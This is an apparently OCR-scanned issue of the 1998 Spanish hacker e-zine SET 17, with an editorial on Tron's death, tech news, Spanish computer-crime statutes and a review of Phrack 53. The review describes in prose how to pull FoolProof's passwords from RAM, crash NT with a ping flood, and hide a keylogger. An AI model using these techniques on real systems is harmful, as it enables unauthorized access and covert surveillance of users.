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Tell me why are we, so blind to see
That the one’s we hurt, are you and me
- Coolio, Gangsta’s paradise
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Todos los hombres son sabios, unos antes, los otros despues.

- Proverbio chino
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-[Ox01]
-[ EDITORIAL ]
-[ by Editor ] SET-17-
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El dia 24 de Octubre me sorprendio una conversacion con un buen colega.
Acababan de encontrar el cuerpo sin vida de TRON, uno de los mejores
hackers del mundi, y quizas, el mejor de Europa.

Durante los dias que siguieron, tratamos de recopilar toda la informacion
posible, y asi hasta hoy. Un caso en el que puede que nunca se sepa la verdad.

Pero antes de dar detalles, un poco de introduccion historica.

Seguramente muchos no sabreis quien era TRON. Es mas, seguro que ya estais
pensando en la pelicula de la Disney. Otros muchos ya estareis al tanto,
pero nunca viene mal recordar algo.

Para los que no conocierais nada de este personaje, simplemente valga
deciros: clonacion de GSM, decrypt de video, etc. Os va sonando algo mas?
Ah!'y que no se me olvide. Miembro del Chaos Computer Club.

Al principio de la noticia, la version oficial determinaba que habia
sido un suicidio, cosa que no sento muy bien al resto del CCC, pues a tenor
de los datos, se han ocultado pruebas y parece ser un homicidio. Al menos
eso se ha oido por el CCC. Pero en el momento de escribir esta editorial,
no se disponen de pruebas que inclinen la balanza a uno u otro lado.

Quizas en breve tengamos mas noticias. Quizas nos den una sorpresa. Asi
que estad muy atentos a la pagina del CCC (http://www.ccc.de)

Por nuestra parte, en http://set.net.eu.org/tron os iremos informando de
las novedades que se vayan conociendo del caso.

Y como es natural, este numero esta integramente dedicado a la memoria de
TRON.

Quizas seria conveniente finalizar la editorial en este punto. Pero
estareis de acuerdo conmigo que desde SET 16 han sucedido cosas que merecen
la pena ser destacadas.

Para empezar, la denuncia a Geocities que hizo que nuestra pagina
desapareciera de sus servidor. Parece que hay gente a la que no le caemos
muy bien, y usaron ciertos articulos del numero 16 como justificante, cuando
ni se les mencionaba ni nada. Pero bueno, hay gente para todo.

Asi que GreeN LegenD tuvo que dejarse los dedos en el teclado y las cejas
en la pantalla para montar en apenas dos dias nuestro nuevo sitio. Algo que
inicialmente iba a ser una sorpresa, y que se tuvo que lanzar
precipitadamente.
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En estos momentos tenemos alhunos nuevos fichajes pendientes, y espero
verlos por aqui en el proximo numero. Y si quereis formar parte de SET,
adelante. Solo teneis que escribirnos y colaborar.

Que mas os podria contar... Estuvimos en el SIMO, se celebro la
UnderCON, la lista de correo esta siendo un peque~o gran exito... No hay
mucho mas.

Eso si, alguien me va a tener que conseguir una 'L’ para mi teclado, que
de tanto escribir y escribir se me ha borrado ;>

Pues nada mas, porque no 0s voy a entretener aqui con mas historias
que ahora no vienen al caso.

Pasad a dentro y disfrutad que este nuevo numero de SET con el que
inauguramos nuestro tercer a~o.

Editor
EOT

PD: Caguen... Basta que te estes dejando horas de sue~o para conseguir
cumplir el plazo definitivo para que el proveedor este jodido y
me las tenga que ver para que tengais SET a tiempo... Bueno, porque
hayais tenido que esperar unas horas no pasa nada, verdad?

*EQOF*
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-[0x02]
-[NOTICIAS ]
-[ by Rufus T. Firefly ] SET-17-

>>> Tron del CCC esta muerto

Hace poco nos enteramos de que un miembro del Chaos Computer Club habia
muerto. Dependiendo de la version que escuches, o es suicidio 0 es asesinato.
Lo unico seguro es que esta muerto. :-|

La cosa se las trae, y puede que se tarde en saber la verdad.
Ahora es demasiado pronto para opinar, asi que ya sabes, busca info y no
dejes que te la metan con cuchara. Eso si encuentras algo, pues no hay mucho.

Vuelta al canto por http://www.ccc.de/ o por el sitio oficial de SET para mas
info sobre este intrigante asunto. http://set.net.eu.org/tron

[ Nota del Editor: Permaneced muy atentos a la pagina del Club del
Caos para las novedades en la investigacion del caso. ]

>>> Siguen con la tarifa plana

Tras leer algunos recortes de prensa, seguimos viendo que pasa lo de siempre:
la pelota esta mas mareada que un astronauta sin entrenamiento [habia que
poner algun comentario de actualidad, no? ;] ].

La escusa de esta vez?

Que si ponen tarifa plana, las centralitas se saturan.

[Creemos que se refieren a que si el servicio ya es malo, con ella peor. Y
mira tu que es dificil hacerlo peor.]

Y mientras se deciden, el tema del cable anda parado.

Tal vez el problema sea ese, que solo ven lo que ya hay puesto y no piensan
que de vez en cuando hay que cambiar.

[Eeeehh! Los del cable! Despertad y darle por saco a los de RTB.]

Sobre ISP y sistemas de acceso, poco movimiento, salvo algun que otro cuelgue
que se noto en toda Espa~a y trajo de cabeza a mas de un fanatico de las
listas de correo.

>>> Mozilla escoge GTK+

Si se~ores, se acabo el Motif para las versiones Unix de Mozilla.

Con esto se aseguran un mejor aspecto y soporte seguro (ya se sabe, por el
LGPL GTK+ no dejara de existir por muchas empresas que palmen) para futuras
versiones. Los usuarios de Unix estan [estamos?] muy contentos, pues las
dichosas Motif son para regalarselas a Bill.

Cuando veais un GTK+ con temas (y no hablo de colorines como en otros
sistemas, sino temas al estilo "deja volar tu imaginacion" [pero no te pases,
que nos conocemos Y luego la gente pide interfaz 3D ;] ]), tendreis ganas de
probarlo. Tampoco es que los temas sean obligatorios, se activan a gusto del
consumidor (y ahi reside la gracia, libertad de eleccion).

Para babear: http://www.mozilla.org/ y http://gtk.themes.org/.

>>> Rumores del 2.2
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Todo apunta que tendremos Linux 2.2 de regalo de Navidad.
No es cuestion de tirar las campanas al vuelo y hacer postales "Feliz Kernel
2.2", siempre pueden haber retrasos, asi que tranquilidad.

No creo que necesites que te de una URL... 0 si?

[Mejor retrasos y calidad, que ir metiendo la pata en cada version. Y no miro
a nadie. ;] ]

>>> Primer astronauta espa~ol

Tras el comentario estupido que hay mas arriba, creo que es mejor poner la
noticia al completo, para aquellos que no se relacionan con el mundo exterior.
[Como? Que hay vida mas alla de mi teclado?]

Hace unos dias cogieron a un espa~ol algo masoca, lo pusieron encima de un
monton de combustible, prendieron la mecha, y como resultado lo tuvieron
dando vueltas a la Tierra junto a una japo, un abuelete yankee y una pandilla
de yankees algo mas jovenes. El chaval ha caido bien (tanto al volver a la
superficie como entre los colegas) y se habla de volver a mandarlo.

Lo peor es tener que soportar los desfiles a lo Disneyworld, pero parece
que se las apa~a para sobrevivir. ;]

[Pero el combustible tiene precio libre o lo fija el estado?]

>>> MS y sus papeles de Halloween

Lo normal es andar liados con disfraces, pero en MS prefieren liarla con
papeles. Parece que se les "escapo" un documento interno en el que se estudia
todo el tema del Open Source (Linux, Apache, *BSD, etc).

Los estudios andan por http://www.tuxedo.org/~esr/halloween.html

Mientras se deciden a atacar abiertamente, siguen con sus campa~as de
marketing. Si quieres reirte a gusto fijate en este comentario del supervisor

de mercadotecnia de MS en Espa~a, llamado Jose Antonio Ondiviela: "Confiar el
negocio critico de una empresa a un entorno en el que nadie va a responder es
muy arriesgado". [Se habra leido la licencia de sus propios productos? El
"chaval" es todo un maestro en comentarios "brillantes" sobre Open Source.]

[Como algunos han dicho, lo mejor es pasar olimpicamente y cada uno a lo suyo.
Si intentan lo que dicen los papeles, las posibilidades de "tiro por la

culata" son altimismas. Y si no, fijaos en todos lo intentos de hacer

protocolos propietarios, y lo mucho que le gusta a la gente pagar dinero

extra. Me temo que en MS no recuerdan porque Internet se usa tanto.]

>>> Estrellas fugaces

Cuando leas esto la Tierra pasara por la estela de un cometa. Por las noches
el espectaculo merecera el dejar de teclear un rato. Pero luego no te extra~e

si hay problemas de comunicaciones. Y es que por mucho que se gaste uno en
satelites, llega un poco de materia y te los destroza (materia, si, pero no

veas a que velocidad ;] ). Y si no, unas radiaciones electromagneticas.

>>> E| juicio de MS

Como no, dos noticias sobre MS. En esta comentamos que el juicio sigue
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adelante, y no con muy buena cara para M$"HS. Tras declaraciones de gente de
Netscape, le toco a Apple, y las cosas siguen por el mismo camino.

Esta vez la tecnologia en disputa, que segun M$ [ya no me aguanto mas] no
hacia falta seguir desarrollando, era el Quicktime. Los de M$ se defienden
como pueden (incluido hacerse los amnesicos... tanto que a veces se olvidan
de que escriben notas internas).

Como salga triunfante, es para brear a gorrazos a alguien [posibilidades:
0.01% a los testigos por perjuros, 99.99% a M$ por tecnicas "comerciales"].
>>> QNX 'y Amiga

Si, has leido bien, un sistema de tiempo real canadiense y el SO que tenia
multimedia antes de que se inventara la palabra.

Y que pintan en la misma linea? Pues que QNX es uno de los socios de Amiga
para su nueva version de sistema operativo. Quien dijo que esto de los
ordenadores era de un solo color? [Tu sabes cual.]

>>> Windows 2000 [Socorro, otra de M$!]

Tras bombardearnos con NT 5, ahora lo llaman 2000. Sera por que sale en el
20007 Por que dejara de funcionar en el 2000? Tendra la calidad del 987

[Lo digo porque ya no hablan de Windows XX para el hogar, solo del 2000, y
no se como aceptara la gente el NT, perdon 2000... mucho tendrian que currar
para que el NT corriera programas del 98 sin recurrir a los trucos que usa

ese "apasionante" shell para DOS 7.

Curioso, muchas empresa huyen de "2000" como de la peste, para que no se les
relacione con las posibles catastrofes del 2000, y M$ a contracorriente.]

>>> Solaris 7

Y como los de Sun tampoco se quedan atras, saltande la2.6 ala7.

[Que divertido! Seguro que ya habreis leido eso de Linux 2200, digo 2.2.00.]

>>> Derechos de autor

La Sociedad General de Autores y Editores (SGAE) ha presentado en el SIMO un
programa que "caza" ficheros musicales que hayan sido registrados por sus
autores en esta Sociedad y que se esten distrubuyendo sin el permiso legal
adecuado.

Bautizado como "Ara~a", el programa se comporta como un meta buscador,
revisando las bases de datos de los principales motores de busqueda de la Red
(Yahoo, Altavista, Ole, Lycos...) donde figuran un gran numero de sitios
dedicados a la distribucion de musica.

Con este programa, la SGAE pretende extender a Internet su sistema de
licencias, haciendo que cualquier usuario de una obra musical a traves de la
Red compre su licencia.

>>> Hay gente que lleva el cartel de "He sido yo!" en la espalda
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La Policia ha detenido en Santa Cruz de Tenerife a los presuntos autores de

la sustraccion de la base de datos de una empresa radicada en Madrid. Manuel
Octavio L.A., de 27 a~o0s, y Antonio Jesus A.R., de 25 a~0s, amenazaron con
desvelar el contenido de los datos si la empresa no les entregaba una jugosa
suma de dinero.

Las investigaciones para detectar a los delincuentes comenzaron cuando el
director de operaciones de la empresa afectada denuncio que habia recibido
una llamada anonima en la que se le comunicaba que los datos de su empresa
estaban en posesion ajena y que serian desvelados si ho se paga un rescate.

Los responsables de la empresa comprobaron que la base de datos de la
contabilidad habia desaparecido, con toda la facturacion y los datos y
contrase~as de acceso a Internet de unos 350 clientes. En una llamada
posterior se fijo la extorsion en 2 millones de pesetas.

Desde un primer momento, las sospechan recayeron sobre Manuel Octavio, que
habia sido despedido de la empresa con anterioridad y conocia la clave, aun
vigente, para acceder a los sistemas informaticos.

[Cuando se despide ha alguien, se cambian los passwords y se revisan todo el
sistema en busca de posibles puertas traseras o bombas. En parte la empresa
se lo tiene merecido por inepta.]

>>> Y van tres, esta vez junto al caballo de hierro

Lince (la tercera operadora telefonica fija en Espa~a) llega a un acuerdo con
FEVE y RENFE... Trenes? Si, si, trenes. Y a que no sabes para que?...
Sus lineas opticas iran por los trazados de tren!

[Oiremos el AVE al llamar a Sevilla?]

>>> SSH y Rootshell

Si usas ssh deberias revisar tu instalacion y ver si es vulnerable.

Rootshell, sitio dedicado a la seguridad fue crackeado [toma mala leche ;] ]
y el metodo que se rumorea fue usado para ello es via ssh [secure shell?
que chiste, no?].

El sitio? http://rootshell.com/, por supuesto.

>>> Service Pack 4 [Pero que he hecho para merecer esta seccion? :( ]

Pues si, mas parches para ese sistema tan potente y estable llamado NT4

[va con tono ironico, por si no lo pillas ;] ].

Si eres una de esas pobres almas que lo sufre, ya tienes mas tormento con

el que pasar el tiempo, especialmente esas animaciones tan monas, que hacen
que tu super-ultra-la-leche-de-pc se arrastre como si volvieras al Spectrum

y sus cintas de cassette.

Si sabes como poner el parche sin poner las chorradas, dilo publicamente.
La vergenza de aceptar que sabes de NT quedara compensada con el
agradecimiento eterno de esos administradores que usan NT sin querer.

[Bastante es que el jefe te obligue a poner NT para que luego encima se queje
de que va lento y se cuelga, y que la culpa es tuya, porque eres el adminy

no sabes hacer tu trabajo. Ni se te ocurra recordarle de quien fue la idea de
poner NT.
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Por supuesto, a los que les gusta el NT, seguro que les gustara ense~arte su
maguina y todos esos detallitos tan "interesantes", salvapantallas incluidos.

Y ya de paso aprendes como se consigue una tarjeta OpenGL para un servidor de
ficheros. Lo principal es encontrar un buen salvapantallas 3D que le guste

al jefe con locura. >;]

Y ya que M$ se come buena parte de las noticias, pues tambien se lleva parte
de los comentarios: siempre dicen que NT es seguro, y ahora sacan un parche
para mas de 650 bugs... el mismo numerito que los CDs, no quiero ni pensar
si empiezan a aplicar "filosofia" DVD.

No todo son parches, tambien hay mejoras como el sistema de quotas... con su
"pero" obligatorio: en vez de no dejarte escribir si excedes la quota, lo que

no te deja es cerrar la sesion... !Jejejeje La de NTs que se van a cerrar

via "any key", ya sabes "press any key", y que mejor "key" que "power". >;P ]

Nota final:
Ahora que tienes algo en lo que arrancar el cerebro, sal ahi fuera y busca
como mantenerlo en marcha, que ya eres mayor (aunque a veces lo dudo). ;D

*EOF*
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-[0x03]
-[ DURA LEX SET LEX]
-[ by Bromisth ] SET-17-

Esto es para que esteis mejor informados sobre vuestros derechos y sobre todo
deberes de la que dicen super novedosa y avanzada (en el terreno de la

represion informatica) ley espa~ola sobre delitos inform(MECAGUEN EL WORD QUE
SE ME ACABA DE BLOQUEAR Y ESTO QUIEN CO~O ME LO PAGA)aticos. Junto con el
documento aparecido creo que era en la setl3 sobre eso de que hacer si te

pillan ya teneis bastante. Los comentarios los he hecho yo y por supuesto no

tienen ningun valor juridico (aunque creo que seria un buen abogado voy a

poner un negocio para hackers-lamerz atrapados). Nooo me pregunteis nada de

este tema porque no soy una autoridad. Un saludo para mis nietos cuando los

tenga dentro de 50 anos (que salir en la SET es un orgullo aunque espero que

la proxima vez sea hablando sobre un verdadero hack).

NUEVO CODIGO PENAL DELITOS RELACIONADOS CON LAS
TECNOLOGIAS DE LA INFORMACION
TITULO X

Delitos contra la intimidad, el derecho a la propia imagen y la
inviolabilidad del domicilio.

CAPITULO | Del descubrimiento y revelacion de secretos.

Articulo 197

1. El que para descubrir los secretos o vulnerar la intimidad de otro, sin su
consentimiento, se apodere de sus papeles, cartas, mensajes de correo
electronico o cualesquiera otros documentos o efectos personales o intercepte
sus telecomunicaciones o utilice artificios tecnicos de escucha, transmision,
grabacion o reproduccion del sonido o de la imagen, o de cualquier otra senal
de comunicacion, sera castigado con las penas de prision de uno a cuatro anos
y multa de doce a veinticuatro meses.

<

2. Las mismas penas se impondran al que, sin estar autorizado, se apodere,
utilice o modifique, en perjuicio de tercero, datos reservados de caracter
personal o familiar de otro que se hallen registrados en ficheros o soportes
informaticos, electronicos o telematicos, o en cualquier otro tipo de archivo
0 registro publico o privado. Iguales penas se impondran a quien, sin estar
autorizado, acceda por cualquier medio a los mismos y a quien los altere o
utilice en perjuicio del titular de los datos o de un tercero.

<

3. Se impondra la pena de prision de dos a cinco anos si se difunden, revelan
o ceden a terceros los datos o hechos descubiertos o las imagenes captadas a
que se refieren los numeros anteriores. Sera castigado con las penas de
prision de uno a tres anos y multa de doce a veinticuatro meses, el que, con
conocimiento de su origen ilicito y sin haber tomado parte en su
descubrimiento, realizare la conducta descrita en el parrafo anterior.

<

4. Si los hechos descritos en los apartados 1 y 2 de este articulo se realizan
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por las personas encargadas o responsables de los ficheros, soportes
informaticos, electronicos o telematicos, archivos o registros, se impondra la
pena de prision de tres a cinco anos, y si se difunden, ceden o revelan los
datos reservados, se impondra la pena en su mitad superior.

<

5. lgualmente, cuando los hechos descritos en los apartados anteriores afecten
a datos de caracter personal que revelen la ideologia, religion, creencias,
salud, origen racial o vida sexual, o la victima fuere un menor de edad o un
incapaz, se impondran las penas previstas en su mitad superior.

6. Si los hechos se realizan con fines lucrativos, se impondran las penas
respectivamente previstas en los apartados 1 al 4 de este articulo en su mitad
superior. Si ademas afectan a datos de los mencionados en el apartado 5, la
pena a imponer sera la de prisién de cuatro a siete anos.

Articulo 198

La autoridad o funcionario publico que, fuera de los casos

permitidos por la Ley, sin mediar causa legal por delito, y prevaliendose de

su cargo, realizare cualquiera de las conductas descritas en el articulo
anterior, sera castigado con las penas respectivamente previstas en el mismo,
en su mitad superior y, ademas, con la de inhabilitacion absoluta por tiempo
de seis a doce anos.

<

Articulo 199

1. El que revelare secretos ajenos, de los que tenga conocimiento por razon de
su oficio o sus relaciones laborales, sera castigado con la pena de prision de
uno a tres anos y multa de seis a doce meses.

<

Articulo 264

1.- Sera castigado con la pena de prision de uno a tres anos y multa de doce a
veinticuatro meses el que causare danos expresados en el articulo anterior, si
concurriera alguno de los supuestos siguientes:

1°.- Que se realicen para impedir el libre ejercicio de la autoridad o en
venganza de sus determinaciones, bien se cometiere el delito contra
funcionarios publicos, bien contra particulares que, como testigos o
de cualquier otra manera, hayan contribuido o pueden contribuir a la
ejecucion o aplicacion de las Leyes o disposiciones generales.

2°.- Que se cause por cualquier medio infeccién o contagio de ganado.

3°.- Que se empleen sustancias venenosas 0 corrosivas.

4°.- Que afecten a bienes de dominio o uso publico o comunal.

5°.- Que arruinen al perjudicado o se le coloque en grave situacion
econdmica.

2.- La misma pena se impondra al que por cualquier medio destruya, altere,
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inutilice o de cualquier otro modo dane los datos, programas o0 documentos
electronicos ajenos contenidos en redes, soportes o sistemas informaticos.

CAPITULO XI De los delitos relativos a la propiedad intelectual e industrial,
al mercado y a los consumidores.

Seccion 1.- DE LOS DELITOS RELATIVOS A LA PROPIEDAD INTELECTUAL.

Articulo 270

Sera castigado con la pena de prision de seis meses a dos anos o de multa de
seis a veinticuatro meses quien, con animo de lucro y en perjuicio de tercero,
reproduzca, plagie, distribuya o comunique publicamente, en todo o en parte,
una obra literaria, artistica o cientifica, o su transformacion,

interpretacion o ejecucion artistica fijada en cualquier tipo de soporte o
comunicada a traves de cualquier medio, sin la autorizacion de los titulares

de los correspondientes derechos de propiedad intelectual o de sus
cesionarios. La misma pena se impondra a quien intencionadamente importe,
exporte o almacene ejemplares de dichas obras o producciones o ejecuciones sin
la referida autorizacion. Sera castigada tambien con la misma pena la
fabricacion, puesta en circulacion y tenencia de cualquier medio
especeficamente destinada a facilitar la supresion no autorizada o la
neutralizacion de cualquier dispositivo tecnico que se haya utilizado para
proteger programas de ordenador.

Articulo 278

CAPITULO llI Disposicion general.

Articulo 400

La fabricacion o tenencia de utiles, materiales , instrumentos, sustancias,
magquinas, programas de ordenador o aparatos, especificamente destinados a la
comision de los delitos descritos en los capitulos anteriores, se castigaran

con la pena se~alada en cada paso para los autores.

<

Articulo 536

La autoridad, funcionario publico o agente de estos que, mediando causa por
delito, interceptare las telecomunicaciones o utilizare artificios tecnicos

de escuhas, transmision, grabacion o reproduccion del sonido, de la imagen o
de cualquier otra senal de comunicacion, con violacion de las garantias
constitucionales o legales, incurrira en la pena de inhabilitacion especial

para empleo o cargo publico de dos a seis anos. Si divulgare o revelare la
informacion obtenida, se impondran las penas de inhabilitacion especial, en
su mitad superior y, ademas la de multa de seis a dieciocho meses.

Codigo Penal, Mayo 1996
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------------------ DESPEDIDA Y PROXIMOSLANZAMIENTOS

Hasta otra que la que os tengo preparada es buena, mejor, es la leche
merengada. El sueno de toooodos vosotros hecho realidad. Te gustaria entrar
en el colegio y llevarte los examenes las fichas de los profesores, meterte

en el ordenador de tu profesor o saber si tus amigos tienen fotos guarrich

que no te han pasado... Pues lo siento porque no te lo voy a decir hasta
dentro de bastante tiempo porque si distribuyo el programa que hemos creado
entre dos amigos se va ha extender como la polvora hasta el limite que no lo
voy a poder utilizar ni yo Quiza dentro de unos seis meses. A los amigos de
SET no os penseis que soy el tipico fanfarron, nada mas lejos de mi intencion.
Como vosotros supongo que os guardareis los ultimos exploits pues yo me guardo
esto un tiempo pero os aseguro que 0s voy a demostrar que es cierto.

No te han dado nunca ganas de coger al sefior puertas bien fuerte por las
pelotas y retorcérselas hasta que le salgan sus putos billones por el culo.

Como me ha parecido interesante aqui teneis un buen articulo (para ser de un
periodista) en relacion a la huelga del 3 de septiembre, aparecido el 5 de
septiembre en la columna de atras de El Pais.

Telefonica
VICENTE VERDU

Han sido los internautas quienes han encarnado, al fin, la primera oposicion
masiva a Telefonica. NO es probable que la aplasten con este envite pero
Fomento ha cedido con la promesa de tarifas planas.

El proximo agosto se cumplen 75 anos desde que la dictadura de Primo de
Rivera creo la Compania y, desde entonces, la corporacion ha sostenido el
semblante achulado y prepotente. Siempre ha parecido que Telefonica nos hacia
un gran favor. Un favor de modernizacion general pero, ante todo, un favor
personal que nos otorgaba de mala gana. Gritabamos para podernos entender a
traves de lineas defectuosas, sufriamos cortes, interminables esperas en la
concesion, tropezabamos con un ejercito de telefonos proclamando el no
funciona, facturas inmisericordes, atropellos, delaciones y tratos desabridos
frente a la impotencia para hacer valer nuestros derechos. Hay otros grandes
bloques a los que aborrecer, desde el reino imperial de las electricas a las
totalitarias petroleras. Alrededor del ciudadano espanol se ha mantenido
durante el siglo, noche y dia, un acoso de oligarcas que determinaron a su
antojo los precios, la calidad de las prestaciones y hasta la calidad humana
de los usuarios. En este grupo Telefonica fue la entidad con mayor privilegio
para introducirse hasta los entresijos de nuestra intimidad con el fin de
sacarnos las tripas. Mereceria nuestro rencor por habernos tratado como
villanos, mereceria nuestro despecho por estropear nuestras ciudades con sus
infames tendidos y disenos. Seria coherente, en correspondencia, serle infiel
ahora cuando brotan competidores por los entornos. Con la subversion de los
internautas se cumple el primer desquite, pero no tardara el dia en que la
Compaia deba suplicar para vernos prendidos a sus redes. Pero ese dia seremos
nosotros quienes le cortemos el hilo.

dudas@porrero.org
Para cuestiones serias usad Pretti Good Privaci:

Registered and copirijt for linus (torvalds) and windoze XXX.
*EOF*
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-[0x04 ]
-[ Phrack 53 ]
-[ by GreeN LegenD ] SET-17-

Comentarios sobre Phrack #53

GreeN LegenD - 0CT/1998
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Intro 1

No se si todos podeis leer ingles 0 no (me importa muy poco).

Pero de todas maneras esto es un comentario a fondo y valoracion

de los articulos que forman parte de Phrack Inc. #53.

Despues de tantos meses sin publicarse ya esta yo sediento de Phrack.
Creo que despues de leer esto os sentireis en cierto modo como si
hubiseis leido el numero 53 de Phrack. Espero que la gente comienze a
descubrir esa joya que es Phrack. Y sin mas dilacion vamos a ello..

Web Phrack : www.phrack.com

Phrack #53 Index 2

* Seccion no comentada...

INDEX - Phrack #53

1 Introduction Phrack Staff 11K

2 Phrack Loopback Phrack Staff 33K

3 Line Noise Various 51K

4*Phrack Prophile on Glyph* Phrack Staff 18K

5 An Overview of Internet Routing krnl 50K

6 T/TCP Vulnerabilities route 17K

7 A Stealthy Windows Keylogger markj8 25K

8 Linux Trusted Path Execution redux K. Baranowski 23K
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9 Hacking in Forth mudge 15K
10 Interface Promiscuity Obscurity apk 24K
11 Watcher, NIDS for the masses hacklab 32K
12 The Crumbling Tunnel Alephl 52K
13 Port Scan Detection Tools Solar Designer 25K
14*Phrack World News Disorder 95K
15*extract.c* Phrack Staff 11K

Total = 482K

Sobre "Introduction" 3

El lugar habitual para el staff de Phrack donde reirse de

todo el e-mail que reciben..no voy a traducir de aqui pero

0s juro que se mojan un huevo..hay algunas respuestas que
son de cuadro. Alguna pregunta con sentido, que recibe una
respuesta normal y lo demas pura comedia. No os creais que
Phrack es mucho mas seria y blah, blah.. Route se moja a
placer. Gracias a que aqui no se hace eso.. tratamos a
nuestros avidos lectores de una manera repestuosa

(¢ Verdad Falken? ;))

Recomendacion de lectura 4/10 ..para marcarse unas risas..

Sobre "Line Noise" 4

Las paridas habituales sobre el #phrack en irc y algo que
llama la atencion, un articulo sobre BBS sobre Amiga

(ha que tiempos!) y algunos trucos sobre hacking/xploits

de bbs mal configuradas o con algun agujero activo..

El articulo en si es una continuacion a algo publicado en

otr numero de Phrack sobre temas similiares. Con el Titulo..

4.1) Portable BBS Hacking
Extra tips for Amiga BBS systems

Recomendacion de lectura 7/10

Mas cosas otro articulo en DSN - Defense Switched Network.

Si esto 0s suena a chino, pues a leer, es una red privada

para que en caso de guerra u otro evento funciona sola. Es
decir es capaz de funcionar isolada y fuera de la red

telefonica normal. Esto no es recomendado para el principiante
dado que entendereis de que va el rollo pero no mas. Si
realmente quieres hacer una buena research del tema entonces
lo que se publica en Phrack no te da ni para empezar y te
valdra como mera iniciacion. He encontrado mas cosas por ahi,
es cuestion de buscar un poco.

4.2)
The Defense Switched Network

By: DataStorm <havok@tfs.net>
Recomendacion de lectura 5/10

Luego siguen con algo de informacioncomo crackear o hacer un
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bypass a el soft de seguridad que originalmente salio para

MacOS y ahora hay version para Win 3.x/W95/W98 llamado Foolproof
que "protege" las redes LAN de DoS y otros ataques, igualmente
"protege” al usuariod e ejecutar ciertos comandos o simplemente
hacer un Shell a Dos, tambien blogueara cualquier actividad
sospechosa. La explicacion es sencilla y creo que merece la pena
explicar como deshacerse de este molesto programa.

Siempre hay una combinacion de teclas que lanza el programa TSR
que vigila, este tiene *dos* contrase~as. ¢ Y donde estan las

famosas contrase~as? Pues muy facil en la RAM..como conseguirlas
otra tarea servida en bandeja de plata. Usad un editor de Memoria

y buscad el string FOOLPROO y los bytes que estan despues de este
son las contrase~as en ASCII, si amigos habeis oido bien en ascii.

La compa~ia clama que usa una encriptacion de 128bit para guardar
la contrase~a..si ya.. y luego que me cuenten una de indios.

Teoricamente tambien se puede solucionar el tema arrancando la
version de W95 en modo de prueba y luego editando algunos ficheros
a pelo, dado que esto no deja cargar al TSR. El win 3.x ya es otro
tema y puede ser mas complicado. Yo he probado el de win 3.x y
tambien se puede, eso si lleva su practica, el de w95 lleva cuention
de minutos.

4.3) FoolProof Hacking

Recomendacion de lectura 8/10

Mas temas comentados en "line noise" tenemos un texto sobre
Practical Sendmail Routing - sobre como no..el SendMail.

Nos explican como obtener informacion atraves de un mail sobre
todas las maquinas que queramos, dentro de una firewall o
simplemente dentro de una subred. Algo muy interesante para mi
gusto y que merece la pena ser traducido (no por mi..) y quiza
ampliado dadas todas sus posibilidades.. El objetivo es que con

un simple mail conseguir toda la informacion posible sobre un/unos
host/s remotos que pertenezcan o compartan algo en comun.

Algo que se puede realizar con un simple script...

tu --.
firewall --.
interno host1 --.
I
interno host2 --'
firewall --'
tu --’

Asi funcionaria de una manera grafica..pero hay otra manera..

tu--.
firewall (parte externa) --.
firewall (parte interna) --.
I
.- interno host1 --’
I
‘-- interno host2 --.
[
firewall (parte interna) --’
firewall (parte externa) --’
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tu--’

Otro ejemplo grafico para ver claramente que pelicula nos cuentan...

4.4) Practical Sendmail Routing

Recomendacion de lectura 7/10

Bueno que os parece esto? bien se cual sea tu respuesta... seguimos
con Phrack #53 y su "Line Noise". Ahora algo de Windows NT/95 y nukes
0S suena ??? seguro que Ssi.

4.5) Resource Hacking and Windows NT/95

by Lord Byron
Recomendacion de lectura 9/10

Que nos cuentan, por aqui..pues despues de todo el rollo de los patchs

de Ms, que por cierto otra cosa no haran pero parches como churros.

Y que si estaban todos los Nukes de Windows tapados o no pues aqui esta
la nueva solucion. Lo podeis leer es corto pero se resume como sigue.
Dada la forma en la Windows coloca en memoria las cosas (y €so ho es un
bug, simplemente esta mal hecho) resulta que si le mandas un flujo
continuo de pings a una maquina NT (por ejemplo eh Chessy?) de 20 o 30
MIL pings esta no tiene memoria para ejecutar ciertos componentes
internos para protejerse de un ataque Nuke, por que ocurre esto?

sencillo si tienes 25mil requests dentro de la memoria funcionando a

la vez el driver de TCP/iP no puede cambiar a tareas de Windows y no
permite (la falta de memoria) que se proteja del un ataque ODBC al

puerto 139 y inevitablemente la maquina caera con un Pantallazo..

Esto ha sido todo por este "Line Noise"..

Sobre el Routing de Internet 5

Recomendacion de lectura 4/10
..Muy Tecnico/Nivel Alto..

Esto no voy a explicarlo con detalle, simplemente por alto. El

que lo quiera leer que lo lea. Nos dan una vision general sobre

el Routing en Internet, sus objetivos, sus protocolos de rutado..
Nos describen algunos problemas practicos. Jerarquia de Rutado,
Jerarquia del DNS :

Herarquia del DNS :

/ \
.com. .org. .edu.
I ]\
microsoft.com. eff.org. isi.edu.
/ [ \

billy.microsoft.com. xOr.eff.org. rs.isi.edu.

y mas cositas que podeis leer a ver si 0s crees que soy el
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traductor o que lo hago por amor al arte..

Sobre T/TCP Vulnerabilities 6

Recomendacion de lectura 3/10
..Bastante Tecnico/Nivel Medio..

¢Que es el t/TCP? en una extension del TCP ya conocido por todos
esa t significa Transacciones. Es una explicacion muy somera del
tema la que hace Route sobre el tema, hay unas cuantas Urls por
ahi y la bibliografia que es interesante..

38 p- Braden, R. T. 1994 "T/TCP - TCP Extensions for Transactions..."
39 p- Braden, R. T. 1992 "Extending TCP for Transactions - Concepts..."
328p- Stevens, W. Richard. 1996 "TCP lllustrated volume 111"

15 p- Smith, Mark. 1996, "Formal verification of Communication..."

Sobre "A Stealthy Windows Keylogger" 7

Recomendacion de lectura 10/10
..Poco Tecnico/Nivel Bajo..

Veamos creo que deberiais de tener ya muy claro que es un keylogger.
Es un programa residente que se situa debajo de todo (bajo DOS) y

en Windows sobre todo, o con privilegios de ejecucion. Normalmente
los loggers tienen un problema (o varios..) que tienen un icono o

por narices sale una pantalla, y por que esto ? Pues muy sencillo
suelen estar programados Bajo VISUAL BASIC (casi todos) y algunos
Visual C, de nuestra querida MS. Con lo que por muy bien que lo hagas
hay ciertas cosas como el icono o simplemente el administrador de
tareas hacen que toda la idea de que un logger sea potente y no

facil de descubrir se nos van al traste en pis-pas. Otros detalles

que en caso de descubrir el ejecutable en cuestion ayudan es que no
contenga ninguna informacion de que hace, como, cuando o donde..

Este Logger que comento ahora es para mi, uno de los mejores que he
visto. Captura los codigos de teclado a pelo, a un fichero .dll

dentro de Windows/system/. El hecho de que este programado en asm
mezclado para win ayuda y no tiene icono. Lo que aun es mas, dado
que el problema del administrador de tareas sigue, por lo menos

aqui el programa tendra por defecto el nombre de explorer lo que

le esconde aun mas. Probando yo un poco he descubierto que en algunas

